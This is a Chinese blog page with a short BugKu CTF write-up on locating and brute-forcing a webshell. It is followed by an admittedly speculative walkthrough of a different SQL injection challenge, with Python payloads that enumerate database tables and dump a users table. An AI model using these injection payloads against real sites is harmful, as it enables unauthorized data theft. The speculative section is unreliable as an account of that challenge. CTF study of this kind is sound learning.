BugKu_网站被黑

本文讲述了作者如何发现并分析一个被黑客入侵的网站,通过追踪线索找到webshell,最终破解并获取flag的过程,深入探讨了网络安全和渗透测试技巧。

网站被黑

在这里插入图片描述
访问目标地址,发现是一个黑页
在这里插入图片描述

再根据描述中说的可能会有后门,猜测可能存在webshell,扫描目录发现shell.php
在这里插入图片描述
访问shell.php,发现是个webshell
在这里插入图片描述
爆破webshell的密码,发现密码是“hack”
在这里插入图片描述
在webshell中输入密码,成功得到flag
在这里插入图片描述

由于没有具体的参考引用内容,以下是关于Bugku平台just_sqli题目的一般分析与推测。 ### 题目详情推测 通常在Bugku这类CTF平台中,just_sqli题目往往是围绕SQL注入漏洞展开。题目可能会给出一个简单的Web面,面上有输入框用于接收用户输入,可能用于查询数据库中的某些信息,例如用户信息、文章列表等。面可能会根据输入的内容动态生成SQL查询语句并执行,而由于开发过程中没有对用户输入进行严格的过滤和转义,就导致了SQL注入漏洞的产生。 ### 解题思路 1. **判断注入点**: - 可以尝试在输入框中输入一些简单的特殊字符,如单引号 `'`、双引号 `"`、括号 `()` 等,观察面返回的错误信息。如果输入单引号后面出现数据库错误提示,那么很可能存在SQL注入漏洞,且注入点在单引号闭合处。 - 也可以使用 `and 1=1` 和 `and 1=2` 这样的语句来判断是否存在布尔盲注。如果输入 `and 1=1` 时面正常显示,输入 `and 1=2` 时面显示异常(如无结果返回等),则说明存在布尔盲注。 ```python # 示例代码,模拟布尔盲注测试 import requests url = 'http://example.com/just_sqli.php' payload_true = {'input': 'value and 1=1'} payload_false = {'input': 'value and 1=2'} response_true = requests.get(url, params=payload_true) response_false = requests.get(url, params=payload_false) if len(response_true.text) != len(response_false.text): print("可能存在布尔盲注漏洞") ``` 2. **确定数据库类型**: - 通过注入不同数据库特有的函数来判断数据库类型。例如,对于MySQL可以使用 `version()` 函数,对于SQL Server可以使用 `@@version`。 ```python # 示例代码,检测MySQL数据库版本 import requests url = 'http://example.com/just_sqli.php' payload = {'input': "value' union select version() -- "} response = requests.get(url, params=payload) print(response.text) ``` 3. **获取数据库信息**: - 利用注入漏洞获取数据库名、表名、列名等信息。在MySQL中,可以使用 `information_schema` 数据库来获取这些信息。 ```python # 示例代码,获取数据库中的表名 import requests url = 'http://example.com/just_sqli.php' payload = {'input': "value' union select table_name from information_schema.tables where table_schema=database() -- "} response = requests.get(url, params=payload) print(response.text) ``` 4. **获取数据内容**: - 当获取到表名和列名后,就可以获取具体的数据内容。 ```python # 示例代码,获取指定表中的数据 import requests url = 'http://example.com/just_sqli.php' table_name = 'users' column_name = 'username' payload = {'input': f"value' union select {column_name} from {table_name} -- "} response = requests.get(url, params=payload) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值